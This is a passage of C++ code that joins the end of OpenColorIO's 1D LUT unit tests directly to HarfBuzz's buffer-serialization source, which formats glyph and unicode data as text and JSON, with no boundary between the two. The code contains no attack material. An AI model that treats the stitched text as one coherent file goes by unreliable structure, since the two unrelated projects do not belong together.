ops[0]->apply(inputBuffer_linearforward, PIXELS); for (size_t i = 0; i < sizeof(inputBuffer_linearforward) / sizeof(inputBuffer_linearforward[0]); ++i) { OCIO_CHECK_CLOSE(inputBuffer_linearforward[i], outputBuffer_linearforward[i], 1e-5f); } } OCIO_ADD_TEST(Lut1DOp, inverse) { OCIO::Lut1DOpDataRcPtr luta = std::make_shared(3); auto & lutaArray = luta->getArray(); lutaArray[0] = 0.1f; OCIO::Lut1DOpDataRcPtr lutb = luta->clone(); OCIO::Lut1DOpDataRcPtr lutc = luta->clone(); auto & lutcArray = lutc->getArray(); lutcArray[0] = 0.2f; OCIO::OpRcPtrVec ops; OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, luta, OCIO::TRANSFORM_DIR_FORWARD)); OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, luta, OCIO::TRANSFORM_DIR_INVERSE)); OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, lutb, OCIO::TRANSFORM_DIR_FORWARD)); OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, lutb, OCIO::TRANSFORM_DIR_INVERSE)); OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, lutc, OCIO::TRANSFORM_DIR_FORWARD)); OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, lutc, OCIO::TRANSFORM_DIR_INVERSE)); OCIO_REQUIRE_EQUAL(ops.size(), 6); OCIO_CHECK_NO_THROW(OCIO::FinalizeOpVec(ops, OCIO::FINALIZATION_EXACT)); OCIO::ConstOpRcPtr op0 = ops[0]; OCIO::ConstOpRcPtr op1 = ops[1]; OCIO::ConstOpRcPtr op2 = ops[2]; OCIO::ConstOpRcPtr op3 = ops[3]; OCIO::ConstOpRcPtr op4 = ops[4]; OCIO::ConstOpRcPtr op5 = ops[5]; OCIO_CHECK_EQUAL(op0->isInverse(op1), true); OCIO_CHECK_EQUAL(op2->isInverse(op3), true); OCIO_CHECK_EQUAL(op4->isInverse(op5), true); OCIO_CHECK_EQUAL(op0->isInverse(op2), false); OCIO_CHECK_EQUAL(op0->isInverse(op3), true); OCIO_CHECK_EQUAL(op1->isInverse(op2), true); OCIO_CHECK_EQUAL(op1->isInverse(op3), false); OCIO_CHECK_EQUAL(op0->isInverse(op4), false); OCIO_CHECK_EQUAL(op0->isInverse(op5), false); OCIO_CHECK_EQUAL(op1->isInverse(op4), false); OCIO_CHECK_EQUAL(op1->isInverse(op5), false); OCIO_CHECK_EQUAL(ops[0]->getCacheID(), ops[2]->getCacheID()); OCIO_CHECK_EQUAL(ops[1]->getCacheID(), ops[3]->getCacheID()); OCIO_CHECK_NE(ops[0]->getCacheID(), ops[4]->getCacheID()); OCIO_CHECK_NE(ops[0]->getCacheID(), ops[5]->getCacheID()); OCIO_CHECK_NE(ops[1]->getCacheID(), ops[4]->getCacheID()); OCIO_CHECK_NE(ops[1]->getCacheID(), ops[5]->getCacheID()); // Optimize will remove LUT forward and inverse (0+1, 2+3 and 4+5). // Clamping is lost. OCIO_CHECK_NO_THROW(OCIO::OptimizeOpVec(ops)); OCIO_CHECK_EQUAL(ops.size(), 0); } OCIO::Lut1DOpDataRcPtr CreateSquareLut() { // Make a LUT that squares the input. static constexpr int size = 256; OCIO::Lut1DOpDataRcPtr lut = std::make_shared(size); auto & lutArray = lut->getArray(); for (int i = 0; i < size; ++i) { float x = (float)i / (float)(size - 1); float x2 = x*x; for (int c = 0; c < 3; ++c) { lutArray[c + i * 3] = x2; } } return lut; } } OCIO_ADD_TEST(Lut1DOp, finite_value) { OCIO::Lut1DOpDataRcPtr lut = CreateSquareLut(); OCIO::OpRcPtrVec ops; OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, lut, OCIO::TRANSFORM_DIR_FORWARD)); OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, lut, OCIO::TRANSFORM_DIR_INVERSE)); OCIO_REQUIRE_EQUAL(ops.size(), 2); OCIO_CHECK_NO_THROW(ops[0]->finalize(OCIO::FINALIZATION_EXACT)); OCIO_CHECK_NO_THROW(ops[1]->finalize(OCIO::FINALIZATION_EXACT)); float inputBuffer_linearforward[4] = { 0.5f, 0.6f, 0.7f, 0.5f }; const float outputBuffer_linearforward[4] = { 0.25f, 0.36f, 0.49f, 0.5f }; ops[0]->apply(inputBuffer_linearforward, 1); for(int i=0; i <4; ++i) { OCIO_CHECK_CLOSE(inputBuffer_linearforward[i], outputBuffer_linearforward[i], 1e-5f); } const float inputBuffer_linearinverse[4] = { 0.5f, 0.6f, 0.7f, 0.5f }; float outputBuffer_linearinverse[4] = { 0.25f, 0.36f, 0.49f, 0.5f }; ops[1]->apply(outputBuffer_linearinverse, 1); for(int i=0; i <4; ++i) { OCIO_CHECK_CLOSE(inputBuffer_linearinverse[i], outputBuffer_linearinverse[i], 1e-5f); } } OCIO_ADD_TEST(Lut1DOp, gpu) { OCIO::Lut1DOpDataRcPtr lut = CreateSquareLut(); OCIO::OpRcPtrVec ops; OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, lut, OCIO::TRANSFORM_DIR_FORWARD)); OCIO_CHECK_NO_THROW(OCIO::OptimizeFinalizeOpVec(ops)); OCIO_REQUIRE_EQUAL(ops.size(), 1); OCIO_CHECK_EQUAL(ops[0]->supportedByLegacyShader(), false); } OCIO_ADD_TEST(Lut1DOp, identity_lut_1d) { int size = 3; int channels = 2; std::vector data(size*channels); OCIO::GenerateIdentityLut1D(&data[0], size, channels); OCIO_CHECK_EQUAL(data[0], 0.0f); OCIO_CHECK_EQUAL(data[1], 0.0f); OCIO_CHECK_EQUAL(data[2], 0.5f); OCIO_CHECK_EQUAL(data[3], 0.5f); OCIO_CHECK_EQUAL(data[4], 1.0f); OCIO_CHECK_EQUAL(data[5], 1.0f); size = 4; channels = 3; data.resize(size*channels); OCIO::GenerateIdentityLut1D(&data[0], size, channels); for (int c = 0; c < channels; ++c) { OCIO_CHECK_EQUAL(data[0+c], 0.0f); OCIO_CHECK_EQUAL(data[channels+c], 0.33333333f); OCIO_CHECK_EQUAL(data[2*channels+c], 0.66666667f); OCIO_CHECK_EQUAL(data[3*channels+c], 1.0f); } } OCIO_ADD_TEST(Lut1DRenderer, finite_value_hue_adjust) { // Make a LUT that squares the input. OCIO::Lut1DOpDataRcPtr lutData = CreateSquareLut(); lutData->setHueAdjust(OCIO::HUE_DW3); OCIO::Lut1DOp lut(lutData); OCIO_CHECK_NO_THROW(lut.finalize(OCIO::FINALIZATION_EXACT)); OCIO_CHECK_ASSERT(!lut.isIdentity()); const float outputBuffer_linearforward[4] = { 0.25f, 0.37000f, // (Hue adj modifies green here.) 0.49f, 0.5f }; float lut1d_inputBuffer_linearforward[4] = { 0.5f, 0.6f, 0.7f, 0.5f }; OCIO_CHECK_NO_THROW(lut.finalize(OCIO::FINALIZATION_EXACT)); OCIO_CHECK_NO_THROW(lut.apply(lut1d_inputBuffer_linearforward, 1)); for (int i = 0; i <4; ++i) { OCIO_CHECK_CLOSE(lut1d_inputBuffer_linearforward[i], outputBuffer_linearforward[i], 1e-5f); } OCIO::Lut1DOpDataRcPtr invData = lutData->inverse(); OCIO::Lut1DOpDataRcPtr invDataExact = invData->clone(); invDataExact->setInversionQuality(OCIO::LUT_INVERSION_BEST); OCIO::OpRcPtrVec ops; OCIO_CHECK_NO_THROW( CreateLut1DOp(ops, invData, OCIO::TRANSFORM_DIR_FORWARD)); OCIO_CHECK_NO_THROW( CreateLut1DOp(ops, invDataExact, OCIO::TRANSFORM_DIR_FORWARD)); OCIO_REQUIRE_EQUAL(ops.size(), 2); const float inputBuffer_linearinverse[4] = { 0.5f, 0.6f, 0.7f, 0.5f }; float lut1d_outputBuffer_linearinverse[4] = { 0.25f, 0.37f, 0.49f, 0.5f }; float lut1d_outputBuffer_linearinverseEx[4] = { 0.25f, 0.37f, 0.49f, 0.5f }; OCIO_CHECK_NO_THROW(ops[0]->finalize(OCIO::FINALIZATION_EXACT)); OCIO_CHECK_NO_THROW(ops[1]->finalize(OCIO::FINALIZATION_EXACT)); OCIO_CHECK_NO_THROW(ops[0]->apply(lut1d_outputBuffer_linearinverse, 1)); // fast OCIO_CHECK_NO_THROW(ops[1]->apply(lut1d_outputBuffer_linearinverseEx, 1)); // exact for (int i = 0; i <4; ++i) { OCIO_CHECK_CLOSE(lut1d_outputBuffer_linearinverse[i], inputBuffer_linearinverse[i], 1e-5f); OCIO_CHECK_CLOSE(lut1d_outputBuffer_linearinverseEx[i], inputBuffer_linearinverse[i], 1e-5f); } } OCIO_ADD_TEST(Lut1D, lut_1d_compose_with_bit_depth) { const std::string ctfFile("lut1d_comp.clf"); OCIO::OpRcPtrVec ops; OCIO::ContextRcPtr context = OCIO::Context::Create(); OCIO_CHECK_NO_THROW(BuildOpsTest(ops, ctfFile, context, OCIO::TRANSFORM_DIR_FORWARD)); OCIO_REQUIRE_EQUAL(ops.size(), 3); auto op = std::const_pointer_cast(ops[1]); auto opData = op->data(); OCIO_CHECK_EQUAL(opData->getType(), OCIO::OpData::Lut1DType); auto lut1 = std::dynamic_pointer_cast(opData); OCIO_REQUIRE_ASSERT(lut1); op = std::const_pointer_cast(ops[2]); opData = op->data(); OCIO_CHECK_EQUAL(opData->getType(), OCIO::OpData::Lut1DType); auto lut2 = std::dynamic_pointer_cast(opData); { auto lutComposed = lut1->clone(); OCIO::Lut1DOpData::Compose(lutComposed, lut2, OCIO::Lut1DOpData::COMPOSE_RESAMPLE_NO); const float error = 1e-5f; OCIO_CHECK_EQUAL(lutComposed->getArray().getLength(), 2); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[0], 0.00744791f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[1], 0.03172233f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[2], 0.07058375f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[3], 0.3513808f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[4], 0.51819527f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[5], 0.67463773f, error); } { auto lutComposed = lut1->clone(); OCIO::Lut1DOpData::Compose(lutComposed, lut2, OCIO::Lut1DOpData::COMPOSE_RESAMPLE_BIG); const float error = 1e-5f; OCIO_CHECK_EQUAL(lutComposed->getArray().getLength(), 65536); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[0], 0.00744791f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[1], 0.03172233f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[2], 0.07058375f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[98688], 0.09914176f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[98689], 0.1866852f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[98690], 0.2830042f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[196605], 0.3513808f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[196606], 0.51819527f, error); OCIO_CHECK_CLOSE(lutComposed->getArray().getValues()[196607], 0.67463773f, error); } } OCIO_ADD_TEST(Lut1D, inverse_twice) { // Make a LUT that squares the input. OCIO::Lut1DOpDataRcPtr lut = CreateSquareLut(); const float outputBuffer_linearinverse[4] = { 0.5f, 0.6f, 0.7f, 0.5f }; // Create inverse lut. OCIO::OpRcPtrVec ops; OCIO_CHECK_NO_THROW(CreateLut1DOp(ops, lut, OCIO::TRANSFORM_DIR_INVERSE)); OCIO_REQUIRE_EQUAL(ops.size(), 1); const float lut1d_inputBuffer_reference[4] = { 0.25f, 0.36f, 0.49f, 0.5f }; float lut1d_inputBuffer_linearinverse[4] = { 0.25f, 0.36f, 0.49f, 0.5f }; OCIO_CHECK_NO_THROW(ops[0]->finalize(OCIO::FINALIZATION_EXACT)); OCIO_CHECK_NO_THROW(ops[0]->apply(lut1d_inputBuffer_linearinverse, 1)); for (int i = 0; i < 4; ++i) { OCIO_CHECK_CLOSE(lut1d_inputBuffer_linearinverse[i], outputBuffer_linearinverse[i], 1e-5f); } // Inverse the inverse. OCIO::Lut1DOp * pLut = dynamic_cast(ops[0].get()); OCIO_CHECK_ASSERT(pLut); OCIO::Lut1DOpDataRcPtr lutData = pLut->lut1DData()->inverse(); OCIO_CHECK_NO_THROW(OCIO::CreateLut1DOp(ops, lutData, OCIO::TRANSFORM_DIR_FORWARD)); OCIO_REQUIRE_EQUAL(ops.size(), 2); // Apply the inverse. OCIO_CHECK_NO_THROW(ops[1]->finalize(OCIO::FINALIZATION_EXACT)); OCIO_CHECK_NO_THROW(ops[1]->apply(lut1d_inputBuffer_linearinverse, 1)); // Verify we are back on the input. for (int i = 0; i < 4; ++i) { OCIO_CHECK_CLOSE(lut1d_inputBuffer_linearinverse[i], lut1d_inputBuffer_reference[i], 1e-5f); } } OCIO_ADD_TEST(Lut1D, create_transform) { OCIO::TransformDirection direction = OCIO::TRANSFORM_DIR_FORWARD; auto lut = std::make_shared(OCIO::Lut1DOpData::LUT_STANDARD, 3); lut->setFileOutputBitDepth(OCIO::BIT_DEPTH_UINT10); lut->getArray()[3] = 0.51f; lut->getArray()[4] = 0.52f; lut->getArray()[5] = 0.53f; auto & metadataSource = lut->getFormatMetadata(); metadataSource.addAttribute(OCIO::METADATA_NAME, "test"); OCIO::OpRcPtrVec ops; OCIO_CHECK_NO_THROW(OCIO::CreateLut1DOp(ops, lut, direction)); OCIO_REQUIRE_EQUAL(ops.size(), 1); OCIO_REQUIRE_ASSERT(ops[0]); OCIO::GroupTransformRcPtr group = OCIO::GroupTransform::Create(); OCIO::ConstOpRcPtr op(ops[0]); OCIO::CreateLut1DTransform(group, op); OCIO_REQUIRE_EQUAL(group->getNumTransforms(), 1); auto transform = group->getTransform(0); OCIO_REQUIRE_ASSERT(transform); auto lTransform = OCIO_DYNAMIC_POINTER_CAST(transform); OCIO_REQUIRE_ASSERT(lTransform); const auto & metadata = lTransform->getFormatMetadata(); OCIO_REQUIRE_EQUAL(metadata.getNumAttributes(), 1); OCIO_CHECK_EQUAL(std::string(metadata.getAttributeName(0)), OCIO::METADATA_NAME); OCIO_CHECK_EQUAL(std::string(metadata.getAttributeValue(0)), "test"); OCIO_CHECK_EQUAL(lTransform->getDirection(), direction); OCIO_REQUIRE_EQUAL(lTransform->getLength(), 3); OCIO_CHECK_EQUAL(lTransform->getFileOutputBitDepth(), OCIO::BIT_DEPTH_UINT10); float r = 0.f; float g = 0.f; float b = 0.f; lTransform->getValue(1, r, g, b); OCIO_CHECK_EQUAL(r , 0.51f); OCIO_CHECK_EQUAL(g , 0.52f); OCIO_CHECK_EQUAL(b , 0.53f); } OCIO_ADD_TEST(LUT1DTransform, build_op) { const OCIO::LUT1DTransformRcPtr lut = OCIO::LUT1DTransform::Create(); lut->setLength(3); const float r = 0.51f; const float g = 0.52f; const float b = 0.53f; lut->setValue(1, r, g, b); OCIO::ConfigRcPtr config = OCIO::Config::Create(); OCIO::OpRcPtrVec ops; OCIO::BuildOps(ops, *(config.get()), config->getCurrentContext(), lut, OCIO::TRANSFORM_DIR_FORWARD); OCIO_REQUIRE_EQUAL(ops.size(), 1); OCIO_REQUIRE_ASSERT(ops[0]); auto constop = std::const_pointer_cast(ops[0]); OCIO_REQUIRE_ASSERT(constop); auto data = constop->data(); auto lutdata = OCIO_DYNAMIC_POINTER_CAST(data); OCIO_REQUIRE_ASSERT(lutdata); OCIO_CHECK_EQUAL(lutdata->getArray().getLength(), 3); OCIO_CHECK_EQUAL(lutdata->getArray()[3], r); OCIO_CHECK_EQUAL(lutdata->getArray()[4], g); OCIO_CHECK_EQUAL(lutdata->getArray()[5], b); } #endif // OCIO_UNIT_TEST /* * Copyright © 2012,2013 Google, Inc. * * This is part of HarfBuzz, a text shaping library. * * Permission is hereby granted, without written agreement and without * license or royalty fees, to use, copy, modify, and distribute this * software and its documentation for any purpose, provided that the * above copyright notice and the following two paragraphs appear in * all copies of this software. * * IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE TO ANY PARTY FOR * DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES * ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN * IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH * DAMAGE. * * THE COPYRIGHT HOLDER SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND * FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS * ON AN "AS IS" BASIS, AND THE COPYRIGHT HOLDER HAS NO OBLIGATION TO * PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. * * Google Author(s): */ #include "hb.hh" #ifndef HB_NO_BUFFER_SERIALIZE #include "hb-buffer.hh" static const char *serialize_formats[] = { "text", "json", nullptr }; /** * hb_buffer_serialize_list_formats: * * Returns a list of supported buffer serialization formats. * * Return value: (transfer none): * A string array of buffer serialization formats. Should not be freed. * * Since: 0.9.7 **/ const char ** hb_buffer_serialize_list_formats () { return serialize_formats; } /** * hb_buffer_serialize_format_from_string: * @str: (array length=len) (element-type uint8_t): a string to parse * @len: length of @str, or -1 if string is %NULL terminated * * Parses a string into an #hb_buffer_serialize_format_t. Does not check if * @str is a valid buffer serialization format, use * hb_buffer_serialize_list_formats() to get the list of supported formats. * * Return value: * The parsed #hb_buffer_serialize_format_t. * * Since: 0.9.7 **/ hb_buffer_serialize_format_t hb_buffer_serialize_format_from_string (const char *str, int len) { /* Upper-case it. */ return (hb_buffer_serialize_format_t) (hb_tag_from_string (str, len) & ~0x20202020u); } /** * hb_buffer_serialize_format_to_string: * @format: an #hb_buffer_serialize_format_t to convert. * * Converts @format to the string corresponding it, or %NULL if it is not a valid * #hb_buffer_serialize_format_t. * * Return value: (transfer none): * A %NULL terminated string corresponding to @format. Should not be freed. * * Since: 0.9.7 **/ const char * hb_buffer_serialize_format_to_string (hb_buffer_serialize_format_t format) { switch ((unsigned) format) { case HB_BUFFER_SERIALIZE_FORMAT_TEXT: return serialize_formats[0]; case HB_BUFFER_SERIALIZE_FORMAT_JSON: return serialize_formats[1]; default: case HB_BUFFER_SERIALIZE_FORMAT_INVALID: return nullptr; } } static unsigned int _hb_buffer_serialize_glyphs_json (hb_buffer_t *buffer, unsigned int start, unsigned int end, char *buf, unsigned int buf_size, unsigned int *buf_consumed, hb_font_t *font, hb_buffer_serialize_flags_t flags) { hb_glyph_info_t *info = hb_buffer_get_glyph_infos (buffer, nullptr); hb_glyph_position_t *pos = (flags & HB_BUFFER_SERIALIZE_FLAG_NO_POSITIONS) ? nullptr : hb_buffer_get_glyph_positions (buffer, nullptr); *buf_consumed = 0; hb_position_t x = 0, y = 0; for (unsigned int i = start; i < end; i++) { char b[1024]; char *p = b; /* In the following code, we know b is large enough that no overflow can happen. */ #define APPEND(s) HB_STMT_START { strcpy (p, s); p += strlen (s); } HB_STMT_END if (i) *p++ = ','; else *p++ = '['; *p++ = '{'; APPEND ("\"g\":"); if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_GLYPH_NAMES)) { char g[128]; hb_font_glyph_to_string (font, info[i].codepoint, g, sizeof (g)); *p++ = '"'; for (char *q = g; *q; q++) { if (unlikely (*q == '"' || *q == '\\')) *p++ = '\\'; *p++ = *q; } *p++ = '"'; } else p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "%u", info[i].codepoint)); if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_CLUSTERS)) { p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), ",\"cl\":%u", info[i].cluster)); } if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_POSITIONS)) { p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), ",\"dx\":%d,\"dy\":%d", x+pos[i].x_offset, y+pos[i].y_offset)); if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_ADVANCES)) p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), ",\"ax\":%d,\"ay\":%d", pos[i].x_advance, pos[i].y_advance)); } if (flags & HB_BUFFER_SERIALIZE_FLAG_GLYPH_FLAGS) { if (info[i].mask & HB_GLYPH_FLAG_DEFINED) p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), ",\"fl\":%u", info[i].mask & HB_GLYPH_FLAG_DEFINED)); } if (flags & HB_BUFFER_SERIALIZE_FLAG_GLYPH_EXTENTS) { hb_glyph_extents_t extents; hb_font_get_glyph_extents(font, info[i].codepoint, &extents); p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), ",\"xb\":%d,\"yb\":%d", extents.x_bearing, extents.y_bearing)); p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), ",\"w\":%d,\"h\":%d", extents.width, extents.height)); } *p++ = '}'; if (i == end-1) *p++ = ']'; unsigned int l = p - b; if (buf_size > l) { memcpy (buf, b, l); buf += l; buf_size -= l; *buf_consumed += l; *buf = '\0'; } else return i - start; if (pos && (flags & HB_BUFFER_SERIALIZE_FLAG_NO_ADVANCES)) { x += pos[i].x_advance; y += pos[i].y_advance; } } return end - start; } static unsigned int _hb_buffer_serialize_unicode_json (hb_buffer_t *buffer, unsigned int start, unsigned int end, char *buf, unsigned int buf_size, unsigned int *buf_consumed, hb_buffer_serialize_flags_t flags) { hb_glyph_info_t *info = hb_buffer_get_glyph_infos (buffer, nullptr); *buf_consumed = 0; for (unsigned int i = start; i < end; i++) { char b[1024]; char *p = b; if (i) *p++ = ','; else *p++ = '['; *p++ = '{'; APPEND ("\"u\":"); p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "%u", info[i].codepoint)); if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_CLUSTERS)) { p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), ",\"cl\":%u", info[i].cluster)); } *p++ = '}'; if (i == end-1) *p++ = ']'; unsigned int l = p - b; if (buf_size > l) { memcpy (buf, b, l); buf += l; buf_size -= l; *buf_consumed += l; *buf = '\0'; } else return i - start; } return end - start; } static unsigned int _hb_buffer_serialize_glyphs_text (hb_buffer_t *buffer, unsigned int start, unsigned int end, char *buf, unsigned int buf_size, unsigned int *buf_consumed, hb_font_t *font, hb_buffer_serialize_flags_t flags) { hb_glyph_info_t *info = hb_buffer_get_glyph_infos (buffer, nullptr); hb_glyph_position_t *pos = (flags & HB_BUFFER_SERIALIZE_FLAG_NO_POSITIONS) ? nullptr : hb_buffer_get_glyph_positions (buffer, nullptr); *buf_consumed = 0; hb_position_t x = 0, y = 0; for (unsigned int i = start; i < end; i++) { char b[1024]; char *p = b; /* In the following code, we know b is large enough that no overflow can happen. */ if (i) *p++ = '|'; else *p++ = '['; if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_GLYPH_NAMES)) { /* TODO Escape delimiters we use. */ hb_font_glyph_to_string (font, info[i].codepoint, p, 128); p += strlen (p); } else p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "%u", info[i].codepoint)); if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_CLUSTERS)) { p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "=%u", info[i].cluster)); } if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_POSITIONS)) { if (x+pos[i].x_offset || y+pos[i].y_offset) p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "@%d,%d", x+pos[i].x_offset, y+pos[i].y_offset)); if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_ADVANCES)) { *p++ = '+'; p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "%d", pos[i].x_advance)); if (pos[i].y_advance) p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), ",%d", pos[i].y_advance)); } } if (flags & HB_BUFFER_SERIALIZE_FLAG_GLYPH_FLAGS) { if (info[i].mask & HB_GLYPH_FLAG_DEFINED) p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "#%X", info[i].mask &HB_GLYPH_FLAG_DEFINED)); } if (flags & HB_BUFFER_SERIALIZE_FLAG_GLYPH_EXTENTS) { hb_glyph_extents_t extents; hb_font_get_glyph_extents(font, info[i].codepoint, &extents); p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "<%d,%d,%d,%d>", extents.x_bearing, extents.y_bearing, extents.width, extents.height)); } if (i == end-1) { *p++ = ']'; } unsigned int l = p - b; if (buf_size > l) { memcpy (buf, b, l); buf += l; buf_size -= l; *buf_consumed += l; *buf = '\0'; } else return i - start; if (pos && (flags & HB_BUFFER_SERIALIZE_FLAG_NO_ADVANCES)) { x += pos[i].x_advance; y += pos[i].y_advance; } } return end - start; } static unsigned int _hb_buffer_serialize_unicode_text (hb_buffer_t *buffer, unsigned int start, unsigned int end, char *buf, unsigned int buf_size, unsigned int *buf_consumed, hb_buffer_serialize_flags_t flags) { hb_glyph_info_t *info = hb_buffer_get_glyph_infos (buffer, nullptr); *buf_consumed = 0; for (unsigned int i = start; i < end; i++) { char b[1024]; char *p = b; if (i) *p++ = '|'; else *p++ = '<'; p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "U+%04X", info[i].codepoint)); if (!(flags & HB_BUFFER_SERIALIZE_FLAG_NO_CLUSTERS)) { p += hb_max (0, snprintf (p, ARRAY_LENGTH (b) - (p - b), "=%u", info[i].cluster)); } if (i == end-1) *p++ = '>'; unsigned int l = p - b; if (buf_size > l) { memcpy (buf, b, l); buf += l; buf_size -= l; *buf_consumed += l; *buf = '\0'; } else return i - start; } return end - start; } /** * hb_buffer_serialize_glyphs: * @buffer: an #hb_buffer_t buffer. * @start: the first item in @buffer to serialize. * @end: the last item in @buffer to serialize. * @buf: (out) (array length=buf_size) (element-type uint8_t): output string to * write serialized buffer into. * @buf_size: the size of @buf. * @buf_consumed: (out) (allow-none): if not %NULL, will be set to the number of byes written into @buf. * @font: (allow-none): the #hb_font_t used to shape this buffer, needed to * read glyph names and extents. If %NULL, and empty font will be used. * @format: the #hb_buffer_serialize_format_t to use for formatting the output. * @flags: the #hb_buffer_serialize_flags_t that control what glyph properties * to serialize. * * Serializes @buffer into a textual representation of its glyph content, * useful for showing the contents of the buffer, for example during debugging. * There are currently two supported serialization formats: * * ## text * A human-readable, plain text format. * The serialized glyphs will look something like: * * ``` * [uni0651=0@518,0+0|uni0628=0+1897] * ``` * * - The serialized glyphs are delimited with `[` and `]`. * - Glyphs are separated with `|` * - Each glyph starts with glyph name, or glyph index if * #HB_BUFFER_SERIALIZE_FLAG_NO_GLYPH_NAMES flag is set. Then, * - If #HB_BUFFER_SERIALIZE_FLAG_NO_CLUSTERS is not set, `=` then #hb_glyph_info_t.cluster. * - If #HB_BUFFER_SERIALIZE_FLAG_NO_POSITIONS is not set, the #hb_glyph_position_t in the format: * - If both #hb_glyph_position_t.x_offset and #hb_glyph_position_t.y_offset are not 0, `@x_offset,y_offset`. Then, * - `+x_advance`, then `,y_advance` if #hb_glyph_position_t.y_advance is not 0. Then, * - If #HB_BUFFER_SERIALIZE_FLAG_GLYPH_EXTENTS is set, the #hb_glyph_extents_t in the format `` * * ## json * A machine-readable, structured format. * The serialized glyphs will look something like: * * ``` * [{"g":"uni0651","cl":0,"dx":518,"dy":0,"ax":0,"ay":0}, * {"g":"uni0628","cl":0,"dx":0,"dy":0,"ax":1897,"ay":0}] * ``` * * Each glyph is a JSON object, with the following properties: * - `g`: the glyph name or glyph index if * #HB_BUFFER_SERIALIZE_FLAG_NO_GLYPH_NAMES flag is set. * - `cl`: #hb_glyph_info_t.cluster if * #HB_BUFFER_SERIALIZE_FLAG_NO_CLUSTERS is not set. * - `dx`,`dy`,`ax`,`ay`: #hb_glyph_position_t.x_offset, #hb_glyph_position_t.y_offset, * #hb_glyph_position_t.x_advance and #hb_glyph_position_t.y_advance * respectively, if #HB_BUFFER_SERIALIZE_FLAG_NO_POSITIONS is not set. * - `xb`,`yb`,`w`,`h`: #hb_glyph_extents_t.x_bearing, #hb_glyph_extents_t.y_bearing, * #hb_glyph_extents_t.width and #hb_glyph_extents_t.height respectively if * #HB_BUFFER_SERIALIZE_FLAG_GLYPH_EXTENTS is set. * * Return value: * The number of serialized items. * * Since: 0.9.7 **/ unsigned int hb_buffer_serialize_glyphs (hb_buffer_t *buffer, unsigned int start, unsigned int end, char *buf, unsigned int buf_size, unsigned int *buf_consumed, hb_font_t *font, hb_buffer_serialize_format_t format, hb_buffer_serialize_flags_t flags) { end = hb_clamp (end, start, buffer->len); start = hb_min (start, end); unsigned int sconsumed; if (!buf_consumed) buf_consumed = &sconsumed; *buf_consumed = 0; if (buf_size) *buf = '\0'; buffer->assert_glyphs (); if (!buffer->have_positions) flags |= HB_BUFFER_SERIALIZE_FLAG_NO_POSITIONS; if (unlikely (start == end)) return 0; if (!font) font = hb_font_get_empty (); switch (format) { case HB_BUFFER_SERIALIZE_FORMAT_TEXT: return _hb_buffer_serialize_glyphs_text (buffer, start, end, buf, buf_size, buf_consumed, font, flags); case HB_BUFFER_SERIALIZE_FORMAT_JSON: return _hb_buffer_serialize_glyphs_json (buffer, start, end, buf, buf_size, buf_consumed, font, flags); default: case HB_BUFFER_SERIALIZE_FORMAT_INVALID: return 0; } } /** * hb_buffer_serialize_unicode: * @buffer: an #hb_buffer_t buffer. * @start: the first item in @buffer to serialize. * @end: the last item in @buffer to serialize. * @buf: (out) (array length=buf_size) (element-type uint8_t): output string to * write serialized buffer into. * @buf_size: the size of 